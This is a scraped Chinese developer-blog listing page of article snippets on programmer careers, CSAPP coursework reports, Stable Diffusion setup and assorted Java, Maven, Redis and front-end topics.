程序人生职业生涯:学习成长为薪酬谈判添砖加瓦关键词:程序员职业生涯、技术能力体系、薪酬谈判策略、职业成长模型、市场价值评估、学习路径规划、胜任力模型摘要:本文针对程序员群体,构建"学习成长-能力提升-薪酬谈判"的完整逻辑链条。通过解析技术人员职业发展的三阶段模型,建立包含硬技能/软技能/项目经验的三维能力评估体系,提供可量化的学习效果评估方法与薪酬谈判实战策略。结合Python代码实现能力自评工具
当 AI 能写代码修 bug,高考填报计算机专业是“火坑”还是“新机遇” |深度对话 6 位专家
CSDN 程序人生
人工智能 bug 高考
作者|梦依丹出品丨CSDN程序人生一年一度的高考如期而至,今年,将有1335万名考生踏入考场,如果说考试是考生的战场,那么让无数家庭真正反复权衡、难以抉择的,其实是考后的另一道大题——「填什么专业」。从“高考志愿填报导师”张雪峰推出的17999元的高考志愿填报服务不到3分钟便被抢购一空可见有多火,而计算机和人工智能更是他经常推荐的专业。今年,在AI浪潮的席卷之下,这道选择题更添了几分迷思与变数:当
哈工大计算机系统大作业——程序人生-Hello’s P2P
m0_72541769
课程设计
计算机系统大作业题目程序人生-Hello’sP2P专业信息安全学号2022112864班级2203201学生xxx指导教师史先俊计算机科学与技术学院2024年5月摘要本论文旨在详细探讨计算机系统中程序从源码到可执行文件的整个转换过程,具体分析了C语言程序`Hello.c`的编译、链接、运行等各个阶段。通过使用GCC编译器以及Ubuntu环境下的一系列工具,本文对预处理、编译、汇编、链接、加载和运行
哈工大计统大作业-hello的一生
YX030212
课程设计 p2p 网络
计算机系统大作业题目程序人生-Hello’sP2P专业人工智能学号2021113560班级WL026学生陈禹西指导教师吴锐计算机科学与技术学院2023年5月摘要本文以一个简单的hello.c程序开始,介绍了一个程序在Linux下运行的完整生命周期,包括预处理、编译、汇编、链接、进程管理、存储管理、I/O管理这几部分,一步步详细介绍了程序从被键盘输入、保存到磁盘,直到最后程序运行结束,程序变为僵尸进
2025年春哈工大计算机系统(CSAPP)课程大作业:程序人生
The_Skynet
CSAPP 期末大作业
通过这个大作业稍微复习了一下课程知识,这只是按课程要求在这里发布的。我把文件的链接贴在这里了:https://github.com/Trappist-1st/HIT-CSAPP-big_homework
《深入理解计算机系统》期末大作业:程序人生-Hello’s P2P
Reisen_Inaba
摘要输出Hello,world的程序,是所有人编程学习的第一步,也是最简单的程序。本文将以程序hello.c为例,分析一个具有一般性的程序在Linux环境下,从预处理到编译、汇编、链接等的完整过程。综合《计算机系统基础》科目所学,考察程序的生命周期,并分析程序作为进程,与内存及外部IO设备的交互过程。关键词:系统,周期,程序生成,进程,交互目录第1章概述......................
解锁程序人生学习成长密码,从目标设定开始
AI天才研究院
ChatGPT AI大模型应用入门实战与进阶 程序人生 学习 微信小程序 ai
解锁程序人生学习成长密码,从目标设定开始关键词:程序员成长、目标设定、学习路径、技能提升、职业规划、刻意练习、反馈机制摘要:本文深入探讨程序员如何通过科学的目标设定方法实现职业成长。文章从目标设定的重要性出发,详细介绍了SMART原则、OKR方法等技术,并结合程序员职业特点,提供了可操作的学习路径规划、技能提升策略和反馈机制建立方法。通过实际案例和工具推荐,帮助程序员构建系统化的成长体系,实现从初
Stable Diffusion 2025新手全套安装教程 零基础小白一键解锁AI绘图神器,轻松玩转AI绘画
AI设计酷卡
stable diffusion 人工智能 AI作画 AIGC
我们今天不谈编程,也不谈程序人生,就来唠一唠AI绘图~~StableDiffusion是什么♥️StableDiffusion,简称SD,是一种基于深度学习的图像处理技术!它属于称之为扩散模型diffusionmodel的深度学习AI,是生成模型的一种!这意味着SD的核心作用就是生成类似于其训练数据的新数据,对于SD来说,这个数据就是(图像)图片简单的说StableDiffusion就是一种使用A
程序人生:远程工作环境下的技术成长与职业发展
AI天才研究院
ChatGPT AI大模型企业级应用开发实战 程序人生 远程工作 网络 ai
程序人生:远程工作环境下的技术成长与职业发展关键词:远程工作、技术成长、职业发展、程序员、协作工具、时间管理、自我驱动摘要:本文深入探讨了在远程工作环境下程序员如何实现技术成长与职业发展的策略和方法。文章从远程工作的特点出发,分析了技术成长的挑战与机遇,提出了系统化的解决方案,包括高效学习路径、技术栈规划、远程协作技巧、职业发展策略等核心内容。通过实际案例、工具推荐和具体实施步骤,为程序员在远程工
程序人生进阶指南:掌握这5种跨学科思维让你脱颖而出
程序人生 职场和发展 ai
程序人生进阶指南:掌握这5种跨学科思维让你脱颖而出关键词:程序员成长、跨学科思维、系统思维、设计思维、经济学思维、心理学思维、数学思维摘要:本文探讨了程序员如何通过培养5种关键跨学科思维(系统思维、设计思维、经济学思维、心理学思维和数学思维)实现职业突破。文章详细解析了每种思维的核心概念、应用场景和在编程中的具体实践方法,帮助技术人员拓宽视野、提升问题解决能力,最终在职业生涯中脱颖而出。1.背景介
程序人生--2005年(30)
chilavert318
程序人生 涉世之初 软件生涯 经历
82搬家年底我又一次的搬家了,工作5年了我搬过2次家,一次是藩后街,另一次是丝茅冲。而这次的意义不同,因为这个家是指真正意义上的家!很有归宿感和成就感!在公司单身宿舍生活了3年,其实这里条件真的还不错。有热水、有空调、有电视、可以上网,理想上的职业宿舍,他都具备了。可是总觉得他还缺少些什么,后来细细想想他总归不是属于自己的东西,他只是我生活旅途的一个小站,条件再好我也会离开这里的。搬家工作是在年底
学习型组织,让程序人生职业生涯学习成长不再迷茫
AI大模型应用之禅
程序人生 学习 职场和发展 ai
学习型组织,让程序人生职业生涯学习成长不再迷茫关键词:学习型组织、程序员成长、职业发展、团队学习、个人-组织共进化摘要:本文从程序员职业发展的典型迷茫出发,结合"学习型组织"这一管理科学经典理论,用程序员熟悉的技术思维拆解其核心逻辑。通过"技术团队如何从’代码作坊’升级为’学习引擎’"的实战案例,讲解学习型组织的五大核心要素(自我超越、心智模式、共同愿景、团队学习、系统思考)如何具体落地,帮助程序
程序人生:自我驱动下的职业生涯学习与成长之路
AI天才研究院
计算 AI大模型应用入门实战与进阶 程序人生 学习 职场和发展 ai
程序人生:自我驱动下的职业生涯学习与成长之路关键词:程序人生、自我驱动、职业生涯、学习成长、技术发展摘要:本文聚焦于程序员在职业生涯中的学习与成长,强调自我驱动的重要性。通过对程序人生的多维度剖析,阐述了程序员职业生涯的不同阶段特点、学习的核心概念与方法、关键算法原理及实际操作步骤、数学模型在编程中的应用、项目实战案例、实际应用场景等内容。同时推荐了相关的工具和资源,分析了未来发展趋势与挑战,并对
【提升开发效率的秘密武器:IntelliJ IDEA 插件完全使用指南】依赖冲突检测,保存时自动优化代码,编译时智能错误修复
王大师王文峰
编程利器IDEA intellij-idea java ide
本人详解作者:王文峰,参加过CSDN2020年度博客之星,《Java王大师王天师》公众号:JAVA开发王大师,专注于天道酬勤的Java开发问题中国国学、传统文化和代码爱好者的程序人生,期待你的关注和支持!本人外号:神秘小峯山峯转载说明:务必注明来源(注明:作者:王文峰哦)【提升开发效率的秘密武器:IntelliJIDEA插件完全使用指南】依赖冲突检测,保存时自动优化代码,编译时智能错误修复学习教程
【Python绘制创意爱心代码】多种技术手段实现动态、立体、交互式爱心效果,展示Python在创意编程中的技术魅力。所有代码可直接运行,需Python 3.6+环境。
王大师王文峰
python 开发语言
本人详解作者:王文峰,参加过CSDN2020年度博客之星,《Java王大师王天师》公众号:JAVA开发王大师,专注于天道酬勤的Java开发问题中国国学、传统文化和代码爱好者的程序人生,期待你的关注和支持!本人外号:神秘小峯山峯转载说明:务必注明来源(注明:作者:王文峰哦)【Python绘制创意爱心代码】多种技术手段实现动态、立体、交互式爱心效果,展示Python在创意编程中的技术魅力。所有代码可直
React中useEffect和useLayoutEffect的区别
CreatorRay
前端 面试 react react.js 前端 面试
在最近一次面试中被问到,我印象中好像从来没用过useLayoutEffect,就没答上来。但是看名字应该是跟布局相关的,而且跟useEffect会有类似的作用。在React中,useEffect和useLayoutEffect都是用于处理副作用的Hooks,但它们的执行时机和对渲染流程的影响有显著区别。以下是两者的核心差异及使用场景:公众号:Code程序人生,个人网站:https://creato
【程序人生】中年技术女性,什么是生活的重点?
JosieBook
程序人生 生活 职场和发展
文章目录⭐前言⭐一、明确“成功”的定义:先破后立警惕社会规训:价值观排序工具:⭐二、怎职业发展:聚焦长板,打造不可替代性30岁职场破局策略:职场可见度提升:⭐三、人际关系:构建支持系统关系断舍离:亲密关系选择:⭐四、身心健康:可持续成功的根基身体管理:情绪调节:⭐五、财务安全:抵御风险的核心防线30岁财务健康标准:投资优先级:⭐六、财务安长期主义:制定“3年跃迁计划”目标锚定法:复盘与迭代:⭐关键
JAVA从万级QPS到亿级吞吐,如何用非阻塞模型突破传统架构的性能瓶颈
王大师王文峰
java 架构 开发语言
本人详解作者:王文峰,参加过CSDN2020年度博客之星,《Java王大师王天师》公众号:JAVA开发王大师,专注于天道酬勤的Java开发问题中国国学、传统文化和代码爱好者的程序人生,期待你的关注和支持!本人外号:神秘小峯山峯转载说明:务必注明来源(注明:作者:王文峰哦)JAVA从万级QPS到亿级吞吐,如何用非阻塞模型突破传统架构的性能瓶颈学习教程(传送门)引言:当线程池成为瓶颈——某视频平台春节
【C#】VS2019怎么能无论是Debug还是Release模式,生成路径都在Release文件夹下?
JosieBook
# C#语言 vs
文章目录⭐问题⭐解决标题详情作者JosieBook头衔CSDN博客专家资格、阿里云社区专家博主、软件设计工程师博客内容开源、框架、软件工程、全栈(,NET/Java/Python/C++)、数据库、操作系统、大数据、人工智能、工控、网络、程序人生口号Tobeyourself,todowhatyouwant.联系方式q:1967473153欢迎三连点赞、✍评论、⭐收藏⭐问题正常情况下,是这样:怎么让
深挖JVM隐藏优化点与百万QPS系统调优【突破认知:JVM内存管理的9大反直觉真相】通过三个违背‘常识‘的调优策略,将GC停顿时间从1.2秒降至80ms,节省40%服务器成本
王大师王文峰
jvm 服务器 运维
本人详解作者:王文峰,参加过CSDN2020年度博客之星,《Java王大师王天师》公众号:JAVA开发王大师,专注于天道酬勤的Java开发问题中国国学、传统文化和代码爱好者的程序人生,期待你的关注和支持!本人外号:神秘小峯山峯转载说明:务必注明来源(注明:作者:王文峰哦)深挖JVM隐藏优化点与百万QPS系统调优【突破认知:JVM内存管理的9大反直觉真相】通过三个违背'常识'的调优策略,将GC停顿时
Vue 技术博客:从零开始构建一个 Vue Markdown 编辑器
王大师王文峰
Java基础到框架 vue.js 编辑器 前端
本人详解作者:王文峰,参加过CSDN2020年度博客之星,《Java王大师王天师》公众号:JAVA开发王大师,专注于天道酬勤的Java开发问题中国国学、传统文化和代码爱好者的程序人生,期待你的关注和支持!本人外号:神秘小峯山峯转载说明:务必注明来源(注明:作者:王文峰哦)学习教程(传送门)Vue技术博客:从零开始构建一个VueMarkdown编辑器前言环境准备实现步骤1.引入组件与库2.模板设计3
基于STM32的ADC多通道DMA数据采集实战指南为什么选择STM32?CubeMX关键配置步骤定义全局缓冲区提升采样精度
王大师王文峰
stm32
本人详解作者:王文峰,参加过CSDN2020年度博客之星,《Java王大师王天师》公众号:JAVA开发王大师,专注于天道酬勤的Java开发问题中国国学、传统文化和代码爱好者的程序人生,期待你的关注和支持!本人外号:神秘小峯山峯转载说明:务必注明来源(注明:作者:王文峰哦)基于STM32的ADC多通道DMA数据采集实战指南为什么选择STM32?CubeMX关键配置步骤定义全局缓冲区提升采样精度学习教
VMware Workstation 11 或者 VMware Player 7安装MAC OS X 10.10 Yosemite
iwindyforest
vmware mac os 10.10 workstation player
最近尝试了下VMware下安装MacOS 系统,
安装过程中发现网上可供参考的文章都是VMware Workstation 10以下, MacOS X 10.9以下的文章,
只能提供大概的思路, 但是实际安装起来由于版本问题, 走了不少弯路, 所以我尝试写以下总结, 希望能给有兴趣安装OSX的人提供一点帮助。
写在前面的话:
其实安装好后发现, 由于我的th
关于《基于模型驱动的B/S在线开发平台》源代码开源的疑虑?
deathwknight
JavaScript java 框架
本人从学习Java开发到现在已有10年整,从一个要自学 java买成javascript的小菜鸟,成长为只会java和javascript语言的老菜鸟(个人邮箱:
[email protected] )
一路走来,跌跌撞撞。用自己的三年多业余时间,瞎搞一个小东西(基于模型驱动的B/S在线开发平台,非MVC框架、非代码生成)。希望与大家一起分享,同时有许些疑虑,希望有人可以交流下
平台
如何把maven项目转成web项目
Kai_Ge
maven MyEclipse
创建Web工程,使用eclipse ee创建maven web工程 1.右键项目,选择Project Facets,点击Convert to faceted from 2.更改Dynamic Web Module的Version为2.5.(3.0为Java7的,Tomcat6不支持). 如果提示错误,可能需要在Java Compiler设置Compiler compl
主管???
Array_06
工作
转载:http://www.blogjava.net/fastzch/archive/2010/11/25/339054.html
很久以前跟同事参加的培训,同事整理得很详细,必须得转!
前段时间,公司有组织中高阶主管及其培养干部进行了为期三天的管理训练培训。三天的课程下来,虽然内容较多,因对老师三天来的课程内容深有感触,故借着整理学习心得的机会,将三天来的培训课程做了一个
python内置函数大全
2002wmj
python
最近一直在看python的document,打算在基础方面重点看一下python的keyword、Build-in Function、Build-in Constants、Build-in Types、Build-in Exception这四个方面,其实在看的时候发现整个《The Python Standard Library》章节都是很不错的,其中描述了很多不错的主题。先把Build-in Fu
JSP页面通过JQUERY合并行
357029540
JavaScript jquery
在写程序的过程中我们难免会遇到在页面上合并单元行的情况,如图所示
如果对于会的同学可能很简单,但是对没有思路的同学来说还是比较麻烦的,提供一下用JQUERY实现的参考代码
function mergeCell(){
var trs = $("#table tr");
&nb
Java基础
冰天百华
java基础
学习函数式编程
package base;
import java.text.DecimalFormat;
public class Main {
public static void main(String[] args) {
// Integer a = 4;
// Double aa = (double)a / 100000;
// Decimal
unix时间戳相互转换
adminjun
转换 unix 时间戳
如何在不同编程语言中获取现在的Unix时间戳(Unix timestamp)? Java time JavaScript Math.round(new Date().getTime()/1000)
getTime()返回数值的单位是毫秒 Microsoft .NET / C# epoch = (DateTime.Now.ToUniversalTime().Ticks - 62135
作为一个合格程序员该做的事
aijuans
程序员
作为一个合格程序员每天该做的事 1、总结自己一天任务的完成情况 最好的方式是写工作日志,把自己今天完成了什么事情,遇见了什么问题都记录下来,日后翻看好处多多
2、考虑自己明天应该做的主要工作 把明天要做的事情列出来,并按照优先级排列,第二天应该把自己效率最高的时间分配给最重要的工作
3、考虑自己一天工作中失误的地方,并想出避免下一次再犯的方法 出错不要紧,最重
由html5视频播放引发的总结
ayaoxinchao
html5 视频 video
前言
项目中存在视频播放的功能,前期设计是以flash播放器播放视频的。但是现在由于需要兼容苹果的设备,必须采用html5的方式来播放视频。我就出于兴趣对html5播放视频做了简单的了解,不了解不知道,水真是很深。本文所记录的知识一些浅尝辄止的知识,说起来很惭愧。
视频结构
本该直接介绍html5的<video>的,但鉴于本人对视频
解决httpclient访问自签名https报javax.net.ssl.SSLHandshakeException: sun.security.validat
bewithme
httpclient
如果你构建了一个https协议的站点,而此站点的安全证书并不是合法的第三方证书颁发机构所签发,那么你用httpclient去访问此站点会报如下错误
javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path bu
Jedis连接池的入门级使用
bijian1013
redis redis数据库 jedis
Jedis连接池操作步骤如下:
a.获取Jedis实例需要从JedisPool中获取;
b.用完Jedis实例需要返还给JedisPool;
c.如果Jedis在使用过程中出错,则也需要还给JedisPool;
packag
变与不变
bingyingao
不变 变 亲情永恒
变与不变
周末骑车转到了五年前租住的小区,曾经最爱吃的西北面馆、江西水饺、手工拉面早已不在,
各种店铺都换了好几茬,这些是变的。
三年前还很流行的一款手机在今天看起来已经落后的不像样子。
三年前还运行的好好的一家公司,今天也已经不复存在。
一座座高楼拔地而起,
【Scala十】Scala核心四:集合框架之List
bit1129
scala
Spark的RDD作为一个分布式不可变的数据集合,它提供的转换操作,很多是借鉴于Scala的集合框架提供的一些函数,因此,有必要对Scala的集合进行详细的了解
1. 泛型集合都是协变的,对于List而言,如果B是A的子类,那么List[B]也是List[A]的子类,即可以把List[B]的实例赋值给List[A]变量
2. 给变量赋值(注意val关键字,a,b
Nested Functions in C
bookjovi
c closure
Nested Functions 又称closure,属于functional language中的概念,一直以为C中是不支持closure的,现在看来我错了,不过C标准中是不支持的,而GCC支持。
既然GCC支持了closure,那么 lexical scoping自然也支持了,同时在C中label也是可以在nested functions中自由跳转的
Java-Collections Framework学习与总结-WeakHashMap
BrokenDreams
Collections
总结这个类之前,首先看一下Java引用的相关知识。Java的引用分为四种:强引用、软引用、弱引用和虚引用。
强引用:就是常见的代码中的引用,如Object o = new Object();存在强引用的对象不会被垃圾收集
读《研磨设计模式》-代码笔记-解释器模式-Interpret
bylijinnan
java 设计模式
声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
package design.pattern;
/*
* 解释器(Interpreter)模式的意图是可以按照自己定义的组合规则集合来组合可执行对象
*
* 代码示例实现XML里面1.读取单个元素的值 2.读取单个属性的值
* 多
After Effects操作&快捷键
cherishLC
After Effects
1、快捷键官方文档
中文版:https://helpx.adobe.com/cn/after-effects/using/keyboard-shortcuts-reference.html
英文版:https://helpx.adobe.com/after-effects/using/keyboard-shortcuts-reference.html
2、常用快捷键
Maven 常用命令
crabdave
maven
Maven 常用命令
mvn archetype:generate
mvn install
mvn clean
mvn clean complie
mvn clean test
mvn clean install
mvn clean package
mvn test
mvn package
mvn site
mvn dependency:res
shell bad substitution
daizj
shell 脚本
#!/bin/sh
/data/script/common/run_cmd.exp 192.168.13.168 "impala-shell -islave4 -q 'insert OVERWRITE table imeis.${tableName} select ${selectFields}, ds, fnv_hash(concat(cast(ds as string), im
Java SE 第二讲(原生数据类型 Primitive Data Type)
dcj3sjt126com
java
Java SE 第二讲:
1. Windows: notepad, editplus, ultraedit, gvim
Linux: vi, vim, gedit
2. Java 中的数据类型分为两大类:
1)原生数据类型 (Primitive Data Type)
2)引用类型(对象类型) (R
CGridView中实现批量删除
dcj3sjt126com
PHP yii
1,CGridView中的columns添加
array(
'selectableRows' => 2,
'footer' => '<button type="button" onclick="GetCheckbox();" style=&
Java中泛型的各种使用
dyy_gusi
java 泛型
Java中的泛型的使用:1.普通的泛型使用
在使用类的时候后面的<>中的类型就是我们确定的类型。
public class MyClass1<T> {//此处定义的泛型是T
private T var;
public T getVar() {
return var;
}
public void setVa
Web开发技术十年发展历程
gcq511120594
Web 浏览器 数据挖掘
回顾web开发技术这十年发展历程:
Ajax
03年的时候我上六年级,那时候网吧刚在小县城的角落萌生。传奇,大话西游第一代网游一时风靡。我抱着试一试的心态给了网吧老板两块钱想申请个号玩玩,然后接下来的一个小时我一直在,注,册,账,号。
彼时网吧用的512k的带宽,注册的时候,填了一堆信息,提交,页面跳转,嘣,”您填写的信息有误,请重填”。然后跳转回注册页面,以此循环。我现在时常想,如果当时a
openSession()与getCurrentSession()区别:
hetongfei
java DAO Hibernate
来自 http://blog.csdn.net/dy511/article/details/6166134
1.getCurrentSession创建的session会和绑定到当前线程,而openSession不会。
2. getCurrentSession创建的线程会在事务回滚或事物提交后自动关闭,而openSession必须手动关闭。
这里getCurrentSession本地事务(本地
第一章 安装Nginx+Lua开发环境
jinnianshilongnian
nginx lua openresty
首先我们选择使用OpenResty,其是由Nginx核心加很多第三方模块组成,其最大的亮点是默认集成了Lua开发环境,使得Nginx可以作为一个Web Server使用。借助于Nginx的事件驱动模型和非阻塞IO,可以实现高性能的Web应用程序。而且OpenResty提供了大量组件如Mysql、Redis、Memcached等等,使在Nginx上开发Web应用更方便更简单。目前在京东如实时价格、秒
HSQLDB In-Process方式访问内存数据库
liyonghui160com
HSQLDB一大特色就是能够在内存中建立数据库,当然它也能将这些内存数据库保存到文件中以便实现真正的持久化。
先睹为快!
下面是一个In-Process方式访问内存数据库的代码示例:
下面代码需要引入hsqldb.jar包 (hsqldb-2.2.8)
import java.s
Java线程的5个使用技巧
pda158
java 数据结构
Java线程有哪些不太为人所知的技巧与用法? 萝卜白菜各有所爱。像我就喜欢Java。学无止境,这也是我喜欢它的一个原因。日常
工作中你所用到的工具,通常都有些你从来没有了解过的东西,比方说某个方法或者是一些有趣的用法。比如说线程。没错,就是线程。或者确切说是Thread这个类。当我们在构建高可扩展性系统的时候,通常会面临各种各样的并发编程的问题,不过我们现在所要讲的可能会略有不同。
开发资源大整合:编程语言篇——JavaScript(1)
shoothao
JavaScript
概述:本系列的资源整合来自于github中各个领域的大牛,来收藏你感兴趣的东西吧。
程序包管理器
管理javascript库并提供对这些库的快速使用与打包的服务。
Bower - 用于web的程序包管理。
component - 用于客户端的程序包管理,构建更好的web应用程序。
spm - 全新的静态的文件包管
避免使用终结函数
vahoa.ma
java jvm C++
终结函数(finalizer)通常是不可预测的,常常也是很危险的,一般情况下不是必要的。使用终结函数会导致不稳定的行为、更差的性能,以及带来移植性问题。不要把终结函数当做C++中的析构函数(destructors)的对应物。
我自己总结了一下这一条的综合性结论是这样的:
1)在涉及使用资源,使用完毕后要释放资源的情形下,首先要用一个显示的方